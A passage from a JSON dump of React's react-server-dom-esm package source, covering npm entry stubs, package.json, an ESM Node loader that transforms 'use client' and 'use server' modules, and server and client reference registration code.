    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nthrow new Error('Use react-server-dom-esm/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/server.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-esm-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-esm-server.node.development.js');\n}\n\nexports.renderToPipeableStream = s.renderToPipeableStream;\nexports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;\nexports.decodeReply = s.decodeReply;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/static.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-esm/npm/static.node.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-esm-server.node.production.js');\n} else {\n  s = require('./cjs/react-server-dom-esm-server.node.development.js');\n}\n\nexports.prerenderToNodeStream = s.prerenderToNodeStream;\n"
  },
  {
    "path": "packages/react-server-dom-esm/package.json",
    "content": "{\n  \"name\": \"react-server-dom-esm\",\n  \"description\": \"React Server Components bindings for DOM using ESM. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.\",\n  \"version\": \"19.3.0\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"client.js\",\n    \"client.browser.js\",\n    \"client.node.js\",\n    \"server.js\",\n    \"server.node.js\",\n    \"static.js\",\n    \"static.node.js\",\n    \"cjs/\",\n    \"esm/\"\n  ],\n  \"exports\": {\n    \".\": \"./index.js\",\n    \"./client\": {\n      \"node\": \"./client.node.js\",\n      \"default\": \"./client.browser.js\"\n    },\n    \"./client.browser\": \"./client.browser.js\",\n    \"./client.node\": \"./client.node.js\",\n    \"./server\": {\n      \"react-server\": \"./server.node.js\",\n      \"default\": \"./server.js\"\n    },\n    \"./server.node\": \"./server.node.js\",\n    \"./static\": {\n      \"react-server\": \"./static.node.js\",\n      \"default\": \"./static.js\"\n    },\n    \"./static.node\": \"./static.node.js\",\n    \"./node-loader\": \"./esm/react-server-dom-esm-node-loader.production.js\",\n    \"./src/*\": \"./src/*.js\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\" : \"git\",\n    \"url\" : \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-server-dom-esm\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"dependencies\": {\n    \"acorn-loose\": \"^8.3.0\",\n    \"webpack-sources\": \"^3.2.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-esm/server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToPipeableStream,\n  decodeReplyFromBusboy,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  registerServerReference,\n  registerClientReference,\n  createTemporaryReferenceSet,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/ReactFlightESMNodeLoader.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as acorn from 'acorn-loose';\n\nimport readMappings from 'webpack-sources/lib/helpers/readMappings.js';\nimport createMappingsSerializer from 'webpack-sources/lib/helpers/createMappingsSerializer.js';\n\ntype ResolveContext = {\n  conditions: Array<string>,\n  parentURL: string | void,\n};\n\ntype ResolveFunction = (\n  string,\n  ResolveContext,\n  ResolveFunction,\n) => {url: string} | Promise<{url: string}>;\n\ntype GetSourceContext = {\n  format: string,\n};\n\ntype GetSourceFunction = (\n  string,\n  GetSourceContext,\n  GetSourceFunction,\n) => Promise<{source: Source}>;\n\ntype TransformSourceContext = {\n  format: string,\n  url: string,\n};\n\ntype TransformSourceFunction = (\n  Source,\n  TransformSourceContext,\n  TransformSourceFunction,\n) => Promise<{source: Source}>;\n\ntype LoadContext = {\n  conditions: Array<string>,\n  format: string | null | void,\n  importAssertions: Object,\n};\n\ntype LoadFunction = (\n  string,\n  LoadContext,\n  LoadFunction,\n) => Promise<{format: string, shortCircuit?: boolean, source: Source}>;\n\ntype Source = string | ArrayBuffer | Uint8Array;\n\nlet warnedAboutConditionsFlag = false;\n\nlet stashedGetSource: null | GetSourceFunction = null;\nlet stashedResolve: null | ResolveFunction = null;\n\nexport async function resolve(\n  specifier: string,\n  context: ResolveContext,\n  defaultResolve: ResolveFunction,\n): Promise<{url: string}> {\n  // We stash this in case we end up needing to resolve export * statements later.\n  stashedResolve = defaultResolve;\n\n  if (!context.conditions.includes('react-server')) {\n    context = {\n      ...context,\n      conditions: [...context.conditions, 'react-server'],\n    };\n    if (!warnedAboutConditionsFlag) {\n      warnedAboutConditionsFlag = true;\n      // eslint-disable-next-line react-internal/no-production-logging\n      console.warn(\n        'You did not run Node.js with the `--conditions react-server` flag. ' +\n          'Any \"react-server\" override will only work with ESM imports.',\n      );\n    }\n  }\n  return await defaultResolve(specifier, context, defaultResolve);\n}\n\nexport async function getSource(\n  url: string,\n  context: GetSourceContext,\n  defaultGetSource: GetSourceFunction,\n): Promise<{source: Source}> {\n  // We stash this in case we end up needing to resolve export * statements later.\n  stashedGetSource = defaultGetSource;\n  return defaultGetSource(url, context, defaultGetSource);\n}\n\ntype ExportedEntry = {\n  localName: string,\n  exportedName: string,\n  type: null | string,\n  loc: {\n    start: {line: number, column: number},\n    end: {line: number, column: number},\n  },\n  originalLine: number,\n  originalColumn: number,\n  originalSource: number,\n  nameIndex: number,\n};\n\nfunction addExportedEntry(\n  exportedEntries: Array<ExportedEntry>,\n  localNames: Set<string>,\n  localName: string,\n  exportedName: string,\n  type: null | 'function',\n  loc: {\n    start: {line: number, column: number},\n    end: {line: number, column: number},\n  },\n) {\n  if (localNames.has(localName)) {\n    // If the same local name is exported more than once, we only need one of the names.\n    return;\n  }\n  exportedEntries.push({\n    localName,\n    exportedName,\n    type,\n    loc,\n    originalLine: -1,\n    originalColumn: -1,\n    originalSource: -1,\n    nameIndex: -1,\n  });\n}\n\nfunction addLocalExportedNames(\n  exportedEntries: Array<ExportedEntry>,\n  localNames: Set<string>,\n  node: any,\n) {\n  switch (node.type) {\n    case 'Identifier':\n      addExportedEntry(\n        exportedEntries,\n        localNames,\n        node.name,\n        node.name,\n        null,\n        node.loc,\n      );\n      return;\n    case 'ObjectPattern':\n      for (let i = 0; i < node.properties.length; i++)\n        addLocalExportedNames(exportedEntries, localNames, node.properties[i]);\n      return;\n    case 'ArrayPattern':\n      for (let i = 0; i < node.elements.length; i++) {\n        const element = node.elements[i];\n        if (element)\n          addLocalExportedNames(exportedEntries, localNames, element);\n      }\n      return;\n    case 'Property':\n      addLocalExportedNames(exportedEntries, localNames, node.value);\n      return;\n    case 'AssignmentPattern':\n      addLocalExportedNames(exportedEntries, localNames, node.left);\n      return;\n    case 'RestElement':\n      addLocalExportedNames(exportedEntries, localNames, node.argument);\n      return;\n    case 'ParenthesizedExpression':\n      addLocalExportedNames(exportedEntries, localNames, node.expression);\n      return;\n  }\n}\n\nfunction transformServerModule(\n  source: string,\n  program: any,\n  url: string,\n  sourceMap: any,\n  loader: LoadFunction,\n): string {\n  const body = program.body;\n\n  // This entry list needs to be in source location order.\n  const exportedEntries: Array<ExportedEntry> = [];\n  // Dedupe set.\n  const localNames: Set<string> = new Set();\n\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    switch (node.type) {\n      case 'ExportAllDeclaration':\n        // If export * is used, the other file needs to explicitly opt into \"use server\" too.\n        break;\n      case 'ExportDefaultDeclaration':\n        if (node.declaration.type === 'Identifier') {\n          addExportedEntry(\n            exportedEntries,\n            localNames,\n            node.declaration.name,\n            'default',\n            null,\n            node.declaration.loc,\n          );\n        } else if (node.declaration.type === 'FunctionDeclaration') {\n          if (node.declaration.id) {\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              node.declaration.id.name,\n              'default',\n              'function',\n              node.declaration.id.loc,\n            );\n          } else {\n            // TODO: This needs to be rewritten inline because it doesn't have a local name.\n          }\n        }\n        continue;\n      case 'ExportNamedDeclaration':\n        if (node.declaration) {\n          if (node.declaration.type === 'VariableDeclaration') {\n            const declarations = node.declaration.declarations;\n            for (let j = 0; j < declarations.length; j++) {\n              addLocalExportedNames(\n                exportedEntries,\n                localNames,\n                declarations[j].id,\n              );\n            }\n          } else {\n            const name = node.declaration.id.name;\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              name,\n              name,\n\n              node.declaration.type === 'FunctionDeclaration'\n                ? 'function'\n                : null,\n              node.declaration.id.loc,\n            );\n          }\n        }\n        if (node.specifiers) {\n          const specifiers = node.specifiers;\n          for (let j = 0; j < specifiers.length; j++) {\n            const specifier = specifiers[j];\n            addExportedEntry(\n              exportedEntries,\n              localNames,\n              specifier.local.name,\n              specifier.exported.name,\n              null,\n              specifier.local.loc,\n            );\n          }\n        }\n        continue;\n    }\n  }\n\n  let mappings =\n    sourceMap && typeof sourceMap.mappings === 'string'\n      ? sourceMap.mappings\n      : '';\n  let newSrc = source;\n\n  if (exportedEntries.length > 0) {\n    let lastSourceIndex = 0;\n    let lastOriginalLine = 0;\n    let lastOriginalColumn = 0;\n    let lastNameIndex = 0;\n    let sourceLineCount = 0;\n    let lastMappedLine = 0;\n\n    if (sourceMap) {\n      // We iterate source mapping entries and our matched exports in parallel to source map\n      // them to their original location.\n      let nextEntryIdx = 0;\n      let nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;\n      let nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;\n      readMappings(\n        mappings,\n        (\n          generatedLine: number,\n          generatedColumn: number,\n          sourceIndex: number,\n          originalLine: number,\n          originalColumn: number,\n          nameIndex: number,\n        ) => {\n          if (\n            generatedLine > nextEntryLine ||\n            (generatedLine === nextEntryLine &&\n              generatedColumn > nextEntryColumn)\n          ) {\n            // We're past the entry which means that the best match we have is the previous entry.\n            if (lastMappedLine === nextEntryLine) {\n              // Match\n              exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;\n              exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;\n              exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;\n              exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;\n            } else {\n              // Skip if we didn't have any mappings on the exported line.\n            }\n            nextEntryIdx++;\n            if (nextEntryIdx < exportedEntries.length) {\n              nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;\n              nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;\n            } else {\n              nextEntryLine = -1;\n              nextEntryColumn = -1;\n            }\n          }\n          lastMappedLine = generatedLine;\n          if (sourceIndex > -1) {\n            lastSourceIndex = sourceIndex;\n          }\n          if (originalLine > -1) {\n            lastOriginalLine = originalLine;\n          }\n          if (originalColumn > -1) {\n            lastOriginalColumn = originalColumn;\n          }\n          if (nameIndex > -1) {\n            lastNameIndex = nameIndex;\n          }\n        },\n      );\n      if (nextEntryIdx < exportedEntries.length) {\n        if (lastMappedLine === nextEntryLine) {\n          // Match\n          exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;\n          exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;\n          exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;\n          exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;\n        }\n      }\n\n      for (\n        let lastIdx = mappings.length - 1;\n        lastIdx >= 0 && mappings[lastIdx] === ';';\n        lastIdx--\n      ) {\n        // If the last mapped lines don't contain any segments, we don't get a callback from readMappings\n        // so we need to pad the number of mapped lines, with one for each empty line.\n        lastMappedLine++;\n      }\n\n      sourceLineCount = program.loc.end.line;\n      if (sourceLineCount < lastMappedLine) {\n        throw new Error(\n          'The source map has more mappings than there are lines.',\n        );\n      }\n      // If the original source string had more lines than there are mappings in the source map.\n      // Add some extra padding of unmapped lines so that any lines that we add line up.\n      for (\n        let extraLines = sourceLineCount - lastMappedLine;\n        extraLines > 0;\n        extraLines--\n      ) {\n        mappings += ';';\n      }\n    } else {\n      // If a file doesn't have a source map then we generate a blank source map that just\n      // contains the original content and segments pointing to the original lines.\n      sourceLineCount = 1;\n      let idx = -1;\n      while ((idx = source.indexOf('\\n', idx + 1)) !== -1) {\n        sourceLineCount++;\n      }\n      mappings = 'AAAA' + ';AACA'.repeat(sourceLineCount - 1);\n      sourceMap = {\n        version: 3,\n        sources: [url],\n        sourcesContent: [source],\n        mappings: mappings,\n        sourceRoot: '',\n      };\n      lastSourceIndex = 0;\n      lastOriginalLine = sourceLineCount;\n      lastOriginalColumn = 0;\n      lastNameIndex = -1;\n      lastMappedLine = sourceLineCount;\n\n      for (let i = 0; i < exportedEntries.length; i++) {\n        // Point each entry to original location.\n        const entry = exportedEntries[i];\n        entry.originalSource = 0;\n        entry.originalLine = entry.loc.start.line;\n        // We use column zero since we do the short-hand line-only source maps above.\n        entry.originalColumn = 0; // entry.loc.start.column;\n      }\n    }\n\n    newSrc += '\\n\\n;';\n    newSrc +=\n      'import {registerServerReference} from \"react-server-dom-esm/server\";\\n';\n    if (mappings) {\n      mappings += ';;';\n    }\n\n    const createMapping = createMappingsSerializer();\n\n    // Create an empty mapping pointing to where we last left off to reset the counters.\n    let generatedLine = 1;\n    createMapping(\n      generatedLine,\n      0,\n      lastSourceIndex,\n      lastOriginalLine,\n      lastOriginalColumn,\n      lastNameIndex,\n    );\n    for (let i = 0; i < exportedEntries.length; i++) {\n      const entry = exportedEntries[i];\n      generatedLine++;\n      if (entry.type !== 'function') {\n        // We first check if the export is a function and if so annotate it.\n        newSrc += 'if (typeof ' + entry.localName + ' === \"function\") ';\n      }\n      newSrc += 'registerServerReference(' + entry.localName + ',';\n      newSrc += JSON.stringify(url) + ',';\n      newSrc += JSON.stringify(entry.exportedName) + ');\\n';\n\n      mappings += createMapping(\n        generatedLine,\n        0,\n        entry.originalSource,\n        entry.originalLine,\n        entry.originalColumn,\n        entry.nameIndex,\n      );\n    }\n  }\n\n  if (sourceMap) {\n    // Override with an new mappings and serialize an inline source map.\n    sourceMap.mappings = mappings;\n    newSrc +=\n      '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +\n      Buffer.from(JSON.stringify(sourceMap)).toString('base64');\n  }\n\n  return newSrc;\n}\n\nfunction addExportNames(names: Array<string>, node: any) {\n  switch (node.type) {\n    case 'Identifier':\n      names.push(node.name);\n      return;\n    case 'ObjectPattern':\n      for (let i = 0; i < node.properties.length; i++)\n        addExportNames(names, node.properties[i]);\n      return;\n    case 'ArrayPattern':\n      for (let i = 0; i < node.elements.length; i++) {\n        const element = node.elements[i];\n        if (element) addExportNames(names, element);\n      }\n      return;\n    case 'Property':\n      addExportNames(names, node.value);\n      return;\n    case 'AssignmentPattern':\n      addExportNames(names, node.left);\n      return;\n    case 'RestElement':\n      addExportNames(names, node.argument);\n      return;\n    case 'ParenthesizedExpression':\n      addExportNames(names, node.expression);\n      return;\n  }\n}\n\nfunction resolveClientImport(\n  specifier: string,\n  parentURL: string,\n): {url: string} | Promise<{url: string}> {\n  // Resolve an import specifier as if it was loaded by the client. This doesn't use\n  // the overrides that this loader does but instead reverts to the default.\n  // This resolution algorithm will not necessarily have the same configuration\n  // as the actual client loader. It should mostly work and if it doesn't you can\n  // always convert to explicit exported names instead.\n  const conditions = ['node', 'import'];\n  if (stashedResolve === null) {\n    throw new Error(\n      'Expected resolve to have been called before transformSource',\n    );\n  }\n  return stashedResolve(specifier, {conditions, parentURL}, stashedResolve);\n}\n\nasync function parseExportNamesInto(\n  body: any,\n  names: Array<string>,\n  parentURL: string,\n  loader: LoadFunction,\n): Promise<void> {\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    switch (node.type) {\n      case 'ExportAllDeclaration':\n        if (node.exported) {\n          addExportNames(names, node.exported);\n          continue;\n        } else {\n          const {url} = await resolveClientImport(node.source.value, parentURL);\n          const {source} = await loader(\n            url,\n            {format: 'module', conditions: [], importAssertions: {}},\n            loader,\n          );\n          if (typeof source !== 'string') {\n            throw new Error('Expected the transformed source to be a string.');\n          }\n          let childBody;\n          try {\n            childBody = acorn.parse(source, {\n              ecmaVersion: '2024',\n              sourceType: 'module',\n            }).body;\n          } catch (x) {\n            // eslint-disable-next-line react-internal/no-production-logging\n            console.error('Error parsing %s %s', url, x.message);\n            continue;\n          }\n          await parseExportNamesInto(childBody, names, url, loader);\n          continue;\n        }\n      case 'ExportDefaultDeclaration':\n        names.push('default');\n        continue;\n      case 'ExportNamedDeclaration':\n        if (node.declaration) {\n          if (node.declaration.type === 'VariableDeclaration') {\n            const declarations = node.declaration.declarations;\n            for (let j = 0; j < declarations.length; j++) {\n              addExportNames(names, declarations[j].id);\n            }\n          } else {\n            addExportNames(names, node.declaration.id);\n          }\n        }\n        if (node.specifiers) {\n          const specifiers = node.specifiers;\n          for (let j = 0; j < specifiers.length; j++) {\n            addExportNames(names, specifiers[j].exported);\n          }\n        }\n        continue;\n    }\n  }\n}\n\nasync function transformClientModule(\n  program: any,\n  url: string,\n  sourceMap: any,\n  loader: LoadFunction,\n): Promise<string> {\n  const body = program.body;\n\n  const names: Array<string> = [];\n\n  await parseExportNamesInto(body, names, url, loader);\n\n  if (names.length === 0) {\n    return '';\n  }\n\n  let newSrc =\n    'import {registerClientReference} from \"react-server-dom-esm/server\";\\n';\n  for (let i = 0; i < names.length; i++) {\n    const name = names[i];\n    if (name === 'default') {\n      newSrc += 'export default ';\n      newSrc += 'registerClientReference(function() {';\n      newSrc +=\n        'throw new Error(' +\n        JSON.stringify(\n          `Attempted to call the default export of ${url} from the server ` +\n            `but it's on the client. It's not possible to invoke a client function from ` +\n            `the server, it can only be rendered as a Component or passed to props of a ` +\n            `Client Component.`,\n        ) +\n        ');';\n    } else {\n      newSrc += 'export const ' + name + ' = ';\n      newSrc += 'registerClientReference(function() {';\n      newSrc +=\n        'throw new Error(' +\n        JSON.stringify(\n          `Attempted to call ${name}() from the server but ${name} is on the client. ` +\n            `It's not possible to invoke a client function from the server, it can ` +\n            `only be rendered as a Component or passed to props of a Client Component.`,\n        ) +\n        ');';\n    }\n    newSrc += '},';\n    newSrc += JSON.stringify(url) + ',';\n    newSrc += JSON.stringify(name) + ');\\n';\n  }\n\n  // TODO: Generate source maps for Client Reference functions so they can point to their\n  // original locations.\n  return newSrc;\n}\n\nasync function loadClientImport(\n  url: string,\n  defaultTransformSource: TransformSourceFunction,\n): Promise<{format: string, shortCircuit?: boolean, source: Source}> {\n  if (stashedGetSource === null) {\n    throw new Error(\n      'Expected getSource to have been called before transformSource',\n    );\n  }\n  // TODO: Validate that this is another module by calling getFormat.\n  const {source} = await stashedGetSource(\n    url,\n    {format: 'module'},\n    stashedGetSource,\n  );\n  const result = await defaultTransformSource(\n    source,\n    {format: 'module', url},\n    defaultTransformSource,\n  );\n  return {format: 'module', source: result.source};\n}\n\nasync function transformModuleIfNeeded(\n  source: string,\n  url: string,\n  loader: LoadFunction,\n): Promise<string> {\n  // Do a quick check for the exact string. If it doesn't exist, don't\n  // bother parsing.\n  if (\n    source.indexOf('use client') === -1 &&\n    source.indexOf('use server') === -1\n  ) {\n    return source;\n  }\n\n  let sourceMappingURL = null;\n  let sourceMappingStart = 0;\n  let sourceMappingEnd = 0;\n  let sourceMappingLines = 0;\n\n  let program;\n  try {\n    program = acorn.parse(source, {\n      ecmaVersion: '2024',\n      sourceType: 'module',\n      locations: true,\n      onComment(\n        block: boolean,\n        text: string,\n        start: number,\n        end: number,\n        startLoc: {line: number, column: number},\n        endLoc: {line: number, column: number},\n      ) {\n        if (\n          text.startsWith('# sourceMappingURL=') ||\n          text.startsWith('@ sourceMappingURL=')\n        ) {\n          sourceMappingURL = text.slice(19);\n          sourceMappingStart = start;\n          sourceMappingEnd = end;\n          sourceMappingLines = endLoc.line - startLoc.line;\n        }\n      },\n    });\n  } catch (x) {\n    // eslint-disable-next-line react-internal/no-production-logging\n    console.error('Error parsing %s %s', url, x.message);\n    return source;\n  }\n\n  let useClient = false;\n  let useServer = false;\n\n  const body = program.body;\n  for (let i = 0; i < body.length; i++) {\n    const node = body[i];\n    if (node.type !== 'ExpressionStatement' || !node.directive) {\n      break;\n    }\n    if (node.directive === 'use client') {\n      useClient = true;\n    }\n    if (node.directive === 'use server') {\n      useServer = true;\n    }\n  }\n\n  if (!useClient && !useServer) {\n    return source;\n  }\n\n  if (useClient && useServer) {\n    throw new Error(\n      'Cannot have both \"use client\" and \"use server\" directives in the same file.',\n    );\n  }\n\n  let sourceMap = null;\n  if (sourceMappingURL) {\n    const sourceMapResult = await loader(\n      sourceMappingURL,\n      // $FlowFixMe\n      {\n        format: 'json',\n        conditions: [],\n        importAssertions: {type: 'json'},\n        importAttributes: {type: 'json'},\n      },\n      loader,\n    );\n    const sourceMapString =\n      typeof sourceMapResult.source === 'string'\n        ? sourceMapResult.source\n        : // $FlowFixMe\n          sourceMapResult.source.toString('utf8');\n    sourceMap = JSON.parse(sourceMapString);\n\n    // Strip the source mapping comment. We'll re-add it below if needed.\n    source =\n      source.slice(0, sourceMappingStart) +\n      '\\n'.repeat(sourceMappingLines) +\n      source.slice(sourceMappingEnd);\n  }\n\n  if (useClient) {\n    return transformClientModule(program, url, sourceMap, loader);\n  }\n\n  return transformServerModule(source, program, url, sourceMap, loader);\n}\n\nexport async function transformSource(\n  source: Source,\n  context: TransformSourceContext,\n  defaultTransformSource: TransformSourceFunction,\n): Promise<{source: Source}> {\n  const transformed = await defaultTransformSource(\n    source,\n    context,\n    defaultTransformSource,\n  );\n  if (context.format === 'module') {\n    const transformedSource = transformed.source;\n    if (typeof transformedSource !== 'string') {\n      throw new Error('Expected source to have been transformed to a string.');\n    }\n    const newSrc = await transformModuleIfNeeded(\n      transformedSource,\n      context.url,\n      (url: string, ctx: LoadContext, defaultLoad: LoadFunction) => {\n        return loadClientImport(url, defaultTransformSource);\n      },\n    );\n    return {source: newSrc};\n  }\n  return transformed;\n}\n\nexport async function load(\n  url: string,\n  context: LoadContext,\n  defaultLoad: LoadFunction,\n): Promise<{format: string, shortCircuit?: boolean, source: Source}> {\n  const result = await defaultLoad(url, context, defaultLoad);\n  if (result.format === 'module') {\n    if (typeof result.source !== 'string') {\n      throw new Error('Expected source to have been loaded into a string.');\n    }\n    const newSrc = await transformModuleIfNeeded(\n      result.source,\n      url,\n      defaultLoad,\n    );\n    return {format: 'module', source: newSrc};\n  }\n  return result;\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/ReactFlightESMReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nexport type ServerReference<T: Function> = T & {\n  $$typeof: symbol,\n  $$id: string,\n  $$bound: null | Array<ReactClientValue>,\n  $$location?: Error,\n};\n\n// eslint-disable-next-line no-unused-vars\nexport type ClientReference<T> = {\n  $$typeof: symbol,\n  $$id: string,\n};\n\nconst CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');\nconst SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');\n\nexport function isClientReference(reference: Object): boolean {\n  return reference.$$typeof === CLIENT_REFERENCE_TAG;\n}\n\nexport function isServerReference(reference: Object): boolean {\n  return reference.$$typeof === SERVER_REFERENCE_TAG;\n}\n\nexport function registerClientReference<T>(\n  proxyImplementation: any,\n  id: string,\n  exportName: string,\n): ClientReference<T> {\n  return Object.defineProperties(proxyImplementation, {\n    $$typeof: {value: CLIENT_REFERENCE_TAG},\n    $$id: {value: id + '#' + exportName},\n  });\n}\n\n// $FlowFixMe[method-unbinding]\nconst FunctionBind = Function.prototype.bind;\n// $FlowFixMe[method-unbinding]\nconst ArraySlice = Array.prototype.slice;\nfunction bind(this: ServerReference<any>): any {\n  // $FlowFixMe[incompatible-call]\n  const newFn = FunctionBind.apply(this, arguments);\n  if (this.$$typeof === SERVER_REFERENCE_TAG) {\n    if (__DEV__) {\n      const thisBind = arguments[0];\n      if (thisBind != null) {\n        console.error(\n          'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n        );\n      }\n    }\n    const args = ArraySlice.call(arguments, 1);\n    const $$typeof = {value: SERVER_REFERENCE_TAG};\n    const $$id = {value: this.$$id};\n    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};\n    return Object.defineProperties(\n      (newFn: any),\n      (__DEV__\n        ? {\n            $$typeof,\n            $$id,\n            $$bound,\n            $$location: {\n              value: this.$$location,\n              configurable: true,\n            },\n            bind: {value: bind, configurable: true},\n          }\n        : {\n            $$typeof,\n            $$id,\n            $$bound,\n            bind: {value: bind, configurable: true},\n          }) as PropertyDescriptorMap,\n    );\n  }\n  return newFn;\n}\n\nconst serverReferenceToString = {\n  value: () => 'function () { [omitted code] }',\n  configurable: true,\n  writable: true,\n};\n\nexport function registerServerReference<T: Function>(\n  reference: T,\n  id: string,\n  exportName: string,\n): ServerReference<T> {\n  const $$typeof = {value: SERVER_REFERENCE_TAG};\n  const $$id = {\n    value: id + '#' + exportName,\n    configurable: true,\n  };\n  const $$bound = {value: null, configurable: true};\n  return Object.defineProperties(\n    (reference: any),\n    (__DEV__\n      ? {\n          $$typeof,\n          $$id,\n          $$bound,\n          $$location: {\n            value: Error('react-stack-top-frame'),\n            configurable: true,\n          },\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        }\n      : {\n          $$typeof,\n          $$id,\n          $$bound,\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        }) as PropertyDescriptorMap,\n  );\n}\n"
  },
  {
    "path": "packages/react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n  ReactDebugInfo,\n  ReactIOInfo,\n  ReactAsyncInfo,\n} from 'shared/ReactTypes';\n\nimport type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';\n\nexport type ServerConsumerModuleMap = string; // Module root path\n\nexport type ServerManifest = string; // Module root path\n\nexport type ServerReferenceId = string;\n\nimport {prepareDestinationForModuleImpl} from 'react-client/src/ReactFlightClientConfig';\n\nexport opaque type ClientReferenceMetadata = [\n  string, // module path\n  string, // export name\n];\n\n// eslint-disable-next-line no-unused-vars\nexport opaque type ClientReference<T> = {\n  specifier: string,\n  name: string,\n};\n\n// The reason this function needs to defined here in this file instead of just\n// being exported directly from the WebpackDestination... file is because the\n// ClientReferenceMetadata is opaque and we can't unwrap it there.\n// This should get inlined and we could also just implement an unwrapping function\n// though that risks it getting used in places it shouldn't be. This is unfortunate\n// but currently it seems to be the best option we have.\nexport function prepareDestinationForModule(\n  moduleLoading: ModuleLoading,\n  nonce: ?string,\n  metadata: ClientReferenceMetadata,\n) {\n  prepareDestinationForModuleImpl(moduleLoading, metadata[0], nonce);\n}\n\nexport function resolveClientReference<T>(\n  bundlerConfig: ServerConsumerModuleMap,\n  metadata: ClientReferenceMetadata,\n): ClientReference<T> {\n  const baseURL = bundlerConfig;\n  return {\n    specifier: baseURL + metadata[0],\n    name: metadata[1],\n  };\n}\n\nexport function resolveServerReference<T>(\n  config: ServerManifest,\n  id: ServerReferenceId,\n): ClientReference<T> {\n  const baseURL: string = config;\n  const idx = id.lastIndexOf('#');\n  const exportName = id.slice(idx + 1);\n  const fullURL = id.slice(0, idx);\n  if (!fullURL.startsWith(baseURL)) {\n    throw new Error(\n      'Attempted to load a Server Reference outside the hosted root.',\n    );\n  }\n  return {specifier: fullURL, name: exportName};\n}\n\nconst asyncModuleCache: Map<string, Thenable<any>> = new Map();\n\nexport function preloadModule<T>(\n  metadata: ClientReference<T>,\n): null | Thenable<any> {\n  const existingPromise = asyncModuleCache.get(metadata.specifier);\n  if (existingPromise) {\n    if (existingPromise.status === 'fulfilled') {\n      return null;\n    }\n    return existingPromise;\n  } 